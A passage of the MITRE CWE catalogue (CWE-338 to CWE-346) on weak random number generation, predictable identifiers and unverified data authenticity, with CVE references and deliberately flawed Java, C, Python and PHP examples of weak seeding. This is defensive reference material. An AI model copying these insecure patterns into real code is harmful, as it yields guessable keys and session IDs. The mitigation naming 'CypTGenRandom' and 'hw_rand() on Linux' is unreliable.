[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

[REF-1192]Information Technology Laboratory, National Institute of Standards and Technology. "FIPS PUB 140-3: SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2019 March 2. < <https://csrc.nist.gov/publications/detail/fips/140/3/final> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)

**Weakness ID** : 338

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG's algorithm is not cryptographically strong.

### Extended Description

When a non-cryptographic PRNG is used in a cryptographic context, it can expose the cryptography to certain types of attacks.

Often a pseudo-random number generator (PRNG) is not designed for cryptography. Sometimes a mediocre source of randomness is sufficient or preferable for algorithms that use random numbers. Weak generators generally take less processing power and/or do not use the precious, finite, entropy sources on a system. While such PRNGs might have very useful features, these same features could be used to break the cryptography.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		330	Use of Insufficiently Random Values	772

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		330	Use of Insufficiently Random Values	772

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1213	Random Number Issues	2270
MemberOf		310	Cryptographic Issues	2111

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>If a PRNG is used for authentication and authorization, such as a session ID or a seed for generating a cryptographic key, then an attacker may be able to easily guess the ID or cryptographic key and gain access to restricted functionality.</i>	

### Potential Mitigations

#### Phase: Implementation

Use functions or hardware which use a hardware-based random number generation for all crypto. This is the recommended solution. Use CypTGenRandom on Windows, or hw\_rand() on Linux.

### Demonstrative Examples

#### Example 1:

Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:

*Example Language: Java*

*(Bad)*

```
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
```

Example Language: C

(Bad)

```
srand(time());
int randNum = rand();
```

The random number functions used in these examples, `rand()` and `Random.nextInt()`, are not considered cryptographically strong. An attacker may be able to predict the random numbers generated by these functions. Note that these example also exhibit CWE-337 (Predictable Seed in PRNG).

### Observed Examples

Reference	Description
<b>CVE-2009-3278</b>	Crypto product uses <code>rand()</code> library function to generate a recovery key, making it easier to conduct brute force attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3278">https://www.cve.org/CVERecord?id=CVE-2009-3278</a>
<b>CVE-2009-3238</b>	Random number generator can repeatedly generate the same value. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3238">https://www.cve.org/CVERecord?id=CVE-2009-3238</a>
<b>CVE-2009-2367</b>	Web application generates predictable session IDs, allowing session hijacking. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2367">https://www.cve.org/CVERecord?id=CVE-2009-2367</a>
<b>CVE-2008-0166</b>	SSL library uses a weak random number generator that only generates 65,536 unique keys. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0166">https://www.cve.org/CVERecord?id=CVE-2008-0166</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	905	SFP Primary Cluster: Predictability	888	2181
MemberOf	C	1170	SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)	1154	2256
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

### Notes

#### Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Non-cryptographic PRNG
CERT C Secure Coding	MSC30-C	CWE More Abstract	Do not use the <code>rand()</code> function for generating pseudorandom numbers

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.



[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-339: Small Seed Space in PRNG

**Weakness ID** : 339

**Structure** : Simple

**Abstraction** : Variant

### Description

A Pseudo-Random Number Generator (PRNG) uses a relatively small seed space, which makes it more susceptible to brute force attacks.

### Extended Description

PRNGs are entirely deterministic once seeded, so it should be extremely difficult to guess the seed. If an attacker can collect the outputs of a PRNG and then brute force the seed by trying every possibility to see which seed matches the observed output, then the attacker will know the output of any subsequent calls to the PRNG. A small seed space implies that the attacker will have far fewer possible values to try to exhaust all possibilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>B</b>	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	786
PeerOf	<b>B</b>	341	Predictable from Observable State	799

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1013	Encrypt Data	2221

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

#### Phase: Architecture and Design

Use well vetted pseudo-random number generating algorithms with adequate length seeds. Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

#### Phase: Architecture and Design

#### Phase: Requirements

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems, or use the more recent FIPS 140-3 [REF-1192] if possible.

## Demonstrative Examples

### Example 1:

This code grabs some random bytes and uses them for a seed in a PRNG, in order to generate a new cryptographic key.

Example Language: Python

(Bad)

```
# getting 2 bytes of randomness for the seeding the PRNG
seed = os.urandom(2)
random.seed(a=seed)
key = random.getrandbits(128)
```

Since only 2 bytes is used as a seed, an attacker will only need to guess  $2^{16}$  (65,536) values before being able to replicate the state of the PRNG.

## Observed Examples

Reference	Description
<b>CVE-2019-10908</b>	product generates passwords via org.apache.commons.lang.RandomStringUtils, which uses java.util.Random internally. This PRNG has only a 48-bit seed. <a href="https://www.cve.org/CVERecord?id=CVE-2019-10908">https://www.cve.org/CVERecord?id=CVE-2019-10908</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		905	SFP Primary Cluster: Predictability	888	2181

## Notes

### Maintenance

This entry may have a chaining relationship with predictable from observable state (CWE-341).

### Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Small Seed Space in PRNG

## References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

[REF-1192]Information Technology Laboratory, National Institute of Standards and Technology. "FIPS PUB 140-3: SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2019 March 2. < <https://csrc.nist.gov/publications/detail/fips/140/3/final> >.

## CWE-340: Generation of Predictable Numbers or Identifiers

**Weakness ID** : 340

**Structure** : Simple

**Abstraction** : Class





### Description

The product uses a scheme that generates numbers or identifiers that are more predictable than required.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*




Nature	Type	ID	Name	Page
ChildOf		330	Use of Insufficiently Random Values	772
ParentOf		341	Predictable from Observable State	799
ParentOf		342	Predictable Exact Value from Previous Values	801
ParentOf		343	Predictable Value Range from Previous Values	802

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		905	SFP Primary Cluster: Predictability	888	2181
MemberOf		1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

### Notes

#### Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Predictability problems

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	11		Brute Force

## References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-341: Predictable from Observable State

**Weakness ID** : 341

**Structure** : Simple

**Abstraction** : Base



### Description

A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		340	Generation of Predictable Numbers or Identifiers	798
PeerOf		339	Small Seed Space in PRNG	796

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1213	Random Number Issues	2270

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	
	<i>This weakness could be exploited by an attacker in a number ways depending on the context. If a predictable number is used to generate IDs or keys that are used within protection mechanisms, then an attacker could gain unauthorized access to the system. If predictable filenames are used for storing sensitive information, then an attacker might gain access to the system and may be able to gain access to the information in the file.</i>	

### Potential Mitigations

#### Phase: Implementation

Increase the entropy used to seed a PRNG.

**Phase: Architecture and Design**

**Phase: Requirements**

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

**Phase: Implementation**

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

**Demonstrative Examples**

**Example 1:**

This code generates a unique random identifier for a user's session.

*Example Language: PHP*

*(Bad)*

```
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

**Observed Examples**

Reference	Description
<b>CVE-2002-0389</b>	Mail server stores private mail messages with predictable filenames in a world-executable directory, which allows local users to read private mailing list archives. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0389">https://www.cve.org/CVERecord?id=CVE-2002-0389</a>
<b>CVE-2001-1141</b>	PRNG allows attackers to use the output of small PRNG requests to determine the internal state information, which could be used by attackers to predict future pseudo-random numbers. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1141">https://www.cve.org/CVERecord?id=CVE-2001-1141</a>
<b>CVE-2000-0335</b>	DNS resolver library uses predictable IDs, which allows a local attacker to spoof DNS query results. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0335">https://www.cve.org/CVERecord?id=CVE-2000-0335</a>
<b>CVE-2005-1636</b>	MFV. predictable filename and insecure permissions allows file modification to execute SQL queries. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1636">https://www.cve.org/CVERecord?id=CVE-2005-1636</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	905	SFP Primary Cluster: Predictability	888	2181

**Notes**

**Maintenance**

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Predictable from Observable State

### References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-342: Predictable Exact Value from Previous Values

**Weakness ID** : 342

**Structure** : Simple

**Abstraction** : Base


### Description

An exact value or random number can be precisely predicted by observing previous values.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		340	Generation of Predictable Numbers or Identifiers	798

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1213	Random Number Issues	2270

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

Increase the entropy used to seed a PRNG.

**Phase: Architecture and Design**

**Phase: Requirements**

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

#### Phase: Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

#### Observed Examples

Reference	Description
<b>CVE-2002-1463</b>	Firewall generates easily predictable initial sequence numbers (ISN), which allows remote attackers to spoof connections. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1463">https://www.cve.org/CVERecord?id=CVE-2002-1463</a>
<b>CVE-1999-0074</b>	Listening TCP ports are sequentially allocated, allowing spoofing attacks. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0074">https://www.cve.org/CVERecord?id=CVE-1999-0074</a>
<b>CVE-1999-0077</b>	Predictable TCP sequence numbers allow spoofing. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0077">https://www.cve.org/CVERecord?id=CVE-1999-0077</a>
<b>CVE-2000-0335</b>	DNS resolver uses predictable IDs, allowing a local user to spoof DNS query results. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0335">https://www.cve.org/CVERecord?id=CVE-2000-0335</a>

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		905	SFP Primary Cluster: Predictability	888	2181

#### Notes

##### Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Predictable Exact Value from Previous Values

#### References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-343: Predictable Value Range from Previous Values



**Weakness ID** : 343**Structure** : Simple**Abstraction** : Base

## Description

The product's random number generator produces a series of values which, when observed, can be used to infer a relatively small range of possibilities for the next value that could be generated.


## Extended Description

The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		340	Generation of Predictable Numbers or Identifiers	798

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1213	Random Number Issues	2270

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

## Potential Mitigations

Increase the entropy used to seed a PRNG.

### Phase: Architecture and Design

#### Phase: Requirements

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

#### Phase: Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	905	SFP Primary Cluster: Predictability	888	2181

## Notes

### Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Predictable Value Range from Previous Values

## References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

[REF-320]Michal Zalewski. "Strange Attractors and TCP/IP Sequence Number Analysis". 2001. < <http://www.bindview.com/Services/Razor/Papers/2001/tcpseq.cfm> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-344: Use of Invariant Value in Dynamically Changing Context

**Weakness ID** : 344

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a constant value, name, or reference, but this value can (or should) vary across different environments.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	330	Use of Insufficiently Random Values	772
ParentOf	V	323	Reusing a Nonce, Key Pair in Encryption	750
ParentOf	B	587	Assignment of a Fixed Address to a Pointer	1244
ParentOf	B	798	Use of Hard-coded Credentials	1573

## Weakness Ordinalities

**Primary :**

**Resultant :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

## Observed Examples

Reference	Description
<b>CVE-2002-0980</b>	Component for web browser writes an error message to a known location, which can then be referenced by attackers to process HTML/script in a less restrictive context <a href="https://www.cve.org/CVERecord?id=CVE-2002-0980">https://www.cve.org/CVERecord?id=CVE-2002-0980</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	905	SFP Primary Cluster: Predictability	888	2181

## Notes

### Relationship

overlaps default configuration.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Static Value in Unpredictable Context

## References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

## CWE-345: Insufficient Verification of Data Authenticity

**Weakness ID :** 345

**Structure :** Simple

**Abstraction :** Class

## Description

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422
ParentOf		346	Origin Validation Error	808
ParentOf		347	Improper Verification of Cryptographic Signature	811
ParentOf		348	Use of Less Trusted Source	813
ParentOf		349	Acceptance of Extraneous Untrusted Data With Trusted Data	815
ParentOf		351	Insufficient Type Distinction	820
ParentOf		352	Cross-Site Request Forgery (CSRF)	821
ParentOf		353	Missing Support for Integrity Check	828
ParentOf		354	Improper Validation of Integrity Check Value	830
ParentOf		360	Trust of System Event Data	840
ParentOf		494	Download of Code Without Integrity Check	1119
ParentOf		616	Incomplete Identification of Uploaded File Variables (PHP)	1295
ParentOf		646	Reliance on File Name or Extension of Externally-Supplied File	1341
ParentOf		649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking	1346
ParentOf		924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel	1701
ParentOf		1293	Missing Source Correlation of Multiple Independent Data	1982
PeerOf		20	Improper Input Validation	19
PeerOf		1304	Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation	2005

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf		346	Origin Validation Error	808
ParentOf		347	Improper Verification of Cryptographic Signature	811
ParentOf		352	Cross-Site Request Forgery (CSRF)	821
ParentOf		354	Improper Validation of Integrity Check Value	830
ParentOf		924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel	1701

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1014	Identify Actors	2222

**Applicable Platforms**

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

**Common Consequences**

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State	

**Demonstrative Examples**

**Example 1:**

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors did not sign firmware images.

### Observed Examples

Reference	Description
<b>CVE-2022-30260</b>	Distributed Control System (DCS) does not sign firmware images and only relies on insecure checksums for integrity checks <a href="https://www.cve.org/CVERecord?id=CVE-2022-30260">https://www.cve.org/CVERecord?id=CVE-2022-30260</a>
<b>CVE-2022-30267</b>	Distributed Control System (DCS) does not sign firmware images and only relies on insecure checksums for integrity checks <a href="https://www.cve.org/CVERecord?id=CVE-2022-30267">https://www.cve.org/CVERecord?id=CVE-2022-30267</a>
<b>CVE-2022-30272</b>	Remote Terminal Unit (RTU) does not use signatures for firmware images and relies on insecure checksums <a href="https://www.cve.org/CVERecord?id=CVE-2022-30272">https://www.cve.org/CVERecord?id=CVE-2022-30272</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129
MemberOf	<b>C</b>	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	2188
MemberOf	<b>V</b>	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	<b>C</b>	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2288

### Notes

#### Relationship

"origin validation" could fall under this.

#### Maintenance

The specific ways in which the origin is not properly identified should be laid out as separate weaknesses. In some sense, this is more like a category.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient Verification of Data
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
WASC	12		Content Spoofing

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
111	JSON Hijacking (aka JavaScript Hijacking)
141	Cache Poisoning
142	DNS Cache Poisoning
148	Content Spoofing

CAPEC-ID	Attack Pattern Name
218	Spoofing of UDDI/ebXML Messages
384	Application API Message Manipulation via Man-in-the-Middle
385	Transaction or Event Tampering via Application API Manipulation
386	Application API Navigation Remapping
387	Navigation Remapping To Propagate Malicious Content
388	Application API Button Hijacking
665	Exploitation of Thunderbolt Protection Flaws
701	Browser in the Middle (BiTM)

## References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

## CWE-346: Origin Validation Error

**Weakness ID** : 346

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not properly verify that the source of data or communication is valid.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644
ChildOf	⊕	345	Insufficient Verification of Data Authenticity	805
ParentOf	⊖	1385	Missing Origin Validation in WebSockets	2080
PeerOf	⊕	451	User Interface (UI) Misrepresentation of Critical Information	1020

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	⊕	345	Insufficient Verification of Data Authenticity	805

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	⊠	1014	Identify Actors	2222

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	⊠	1214	Data Integrity Issues	2270
MemberOf	⊠	417	Communication Channel Errors	2119

### Weakness Ordinalities

**Primary :**

**Resultant :**

**Applicable Platforms**

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Common Consequences**

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	
Other	Varies by Context	
<i>An attacker can access any functionality that is inadvertently accessible to the source.</i>		

**Demonstrative Examples**

**Example 1:**

This Android application will remove a user account when it receives an intent to do so:

*Example Language: Java*

*(Bad)*

```
